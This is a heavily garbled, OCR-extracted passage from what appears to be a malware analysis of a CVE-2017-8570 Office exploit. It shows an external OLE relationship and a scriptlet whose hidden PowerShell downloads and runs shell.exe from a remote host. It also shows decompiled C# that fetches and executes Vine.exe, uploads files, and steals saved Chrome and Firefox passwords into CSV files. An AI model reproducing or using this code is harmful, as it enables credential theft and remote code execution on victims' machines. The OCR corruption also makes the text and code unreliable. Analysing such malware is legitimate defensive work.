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<?xml versiol 1.0" encodin "yes"?> <Relationships xmlns: S 1K ackage/2006/relati i Relationship|
"http://schemas .openxmlformats.org/officeDocument/2006/relationships/ole0bjsct"” /plugins/systen/legacy/context . zunl”lTa,gEbHDdE
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument:
"http://schemas.openxnlformats.org/officeDocunent/2006/relationships /vnlDrawing” Targes

=
"External"/>
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SR

<ML wersion="1.07%>
<package’

<component id="giffile’ >
<registration

description=" Dunmy’
progid="giffile’
version= 1. 00"
remotable="True’ >
registration>

P ISeript’ >
nev ActiveXObject (" Wicript. shell’ ). exec (" ¥SygtenRoot¥/ svstendz/WindoysFowerShell/ vl O/poyershell. exe —windowstyle hidden (nev-object
System. Net. WebClient). DownloadFile (\ http:/, » Woeoifwindows/temp/shell. exe’ ) ci/windows/temp/shell. exe’ )
11>
<fseript’>
</component >
</package>
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k?xml version="1l.0" encoding="UTF-8" standalone="yes"?2>

<p:sld xmlns: 'http://schemas . openxml formats.org/drawingml/2006/main" =mln, "http://schemas .openxml formats . org/officeDocument/2006/relationships" xmln

"http: //sehemas . opemml fornats. org/presentationnl /2006/ma " ><p:cS1d><p: spTrec><p:nVGXpSpEL><pIcHVEE L "> CNUGTDSpPL/ ><p: mvPL/ ></p: VGTPSPET><p: GEpSpEEcainTimbca off X
/="0"/><atext cx=MO" cy="O"/><a:ChOLE x="O" Cy="01"/>< /a1 RErm></pgTRSPPT><p: 9p><p 1 nVSPRI><picNVPT i :

cHvSpPr<] igal subTitle" id: 1"/></ps ‘rlFI)(/p nvSpPr¥<p:spPr<. 4297363" /><a:iext cx

xfrm></p:spPr><p: txBody>< odyPr><a:normAutofit/></

2013dFi11></a:endParaRPr></a:p></p: cxBody></
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Zh-TW" altLang

type="ctrTitle"/></p

xfrmy<a:off x="1477963"

ZheTH"

on

8VPz></pinvSpPr><p: spPr><aixfrm><aiofE

pPr><p:txBody><a: bndny/><= lststyle/>

<a:p¥<a:r¥<a:rPr lan "en-US" altLang="zh-TW" =mti 0"/><a: t>CVE-2017-8570</a:t></a: r><a:endParaRPr lang en-US" smtClea: 0"/
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AWINDOWS\system32\WindowsPowerShell\v1.0\powershell. exe

5. E& powershell BIAS F#—1 4N download. exe HFIARL N85, download. exe FEEI
H—"N4 N Vine. exe HIFEF -

= *3 Download (1.0.0.0) // DownloadA
private static

cute.Program
id Main(string[] args)

® 9 References
= { -
= {} DownloadndExecute

| Program.DounloadFiles().Mait(); |
TF (PFOEFaN. SUCEESE]

- Base Types using (Process process = Process.Start(new ProcessStartInfo
4 Derived Types

& FileName = Path.Combine(Envirenment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Vine.exe"),
s windowStyle = ProcessiindonStyle.Hidden,
S uorkingDirectory = Path.GetDirectoryName(Path.Combine(Envirenment. GetFolderPath(Environment. SpecialFolder. ApplicationData), "Vine.exe")
pl CreateloWindow = true
& 1)
@ ctor(): void L
{
-] process.HaitForExit();
=] Program.exitCode = process.ExitCode;
% [ }
-] }
4@ System (4.0.0.0) if (Program.exitfode == 8)
8 mecorlb (4.0.0.0) {
P -UploadFiles().Kait();
33 mscorib (2.0.0.0) . | Program.ploadFiles () .ait(); |
@ system.Dats (2.0.0.0) : !
$+@ System (2.0.0.0)
-3

System.Core (3,5.0,0)

6. Vine. exe HAERHK Chrome M Firefox FORAFAIK 55 55 B HIThEE, JHHHARAE B4
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public static void Generate()

try
{
File.Copy{Environment.GetFolderPath(Environment.SpecialFolder.LocalfpplicationData) + “/Google/Chrome/User Data/Default/Login Data™, “te
string arg = "logins";
string arg_87_@ = "data scurce=temp_db;New=True;UseUTFl6Encoding=True";
DataTable dataTable = new DataTable();
string commandText = string.Format(“SELECT * FROM {8} {1} {2}", arg, "". "");
Streamiriter streambriter = new StreamWriter(string.Format("pass-{8}-{1}-{2}.csv", Environment.MachineName, "Chrome", (int)DateTime.Utch
using (SQLiteConnection sQLiteConnection = new SQLiteConnection(arg 87 @))

new SQLiteDataAdapter(new SQLiteCommand(commandText, sQLiteConnection)).Fill{dataTable);
int count = dataTable.Rows.Count;
for (int i = @; i < count; i++)
{
string text;
byte[] bytes = ChromeRetriever.Decrypt((byte[])dataTable.Rows[i][5], null, out text);
string fistring = new UTF8Encoding(true).GetString(bytes);
object obj = dataTable.Rows[i][@];
object obj2 = dataTable.Rows[i][1];
object obj3 = dataTable.Rows[i][3];
string value = string.Format(“{@},{1},{2},{3}", new object[]
{
obj,
objz,
ab33,|
fistring
I
streamiWriter.WriteLine(value);
streamkdriter.Flush();
1
1

streamiriter.Closel):

public static void Generate()
try

bool flag = false;
string[] directories = Directory.GetDirectories(Environment.GetEnvironmentVariable("APPDATA") + "\\Mozilla‘\\Firefox\\Profiles");
for (int i = @; i < directories.lLength; i++)
{
string text = directories[i];
if (text == null || flag)
i

break;
1
I
string[] files = Directory.GetFiles(text);
for (int j = @; j < files.Length; j++)

string input = files[j];
if (flag)

hreak;‘
1

1
if (Regex.IsMatch(input, “logins.jsen™))
{

FirefoxRetriever.NSS_Init(text);
FirefoxRetriever.signon = input;
3
1
string arg_86_8 = FirefoxRetriever.signon;
FirefoxRetriever.TSECItem tSECItem = default(FirefoxRetriever.TSECItem);
FirefoxRetriever.TSECItem tSECItem2 = default(FirefoxRetriever.TSECItem);
JToken jToken = JObject.Parse(new StreamReader(FirefoxRetriever.signon).ReadLine())["logins"];
Streamkriter streamkriter = new StreamMWriter(string.Format(“pass-{@]}-{1}-{2}.csv", Environment.MachineName, "Firefox™, (int)DateTime.Utc
for (int k = @: k < iToken.Count<JToken>(Y: k++)
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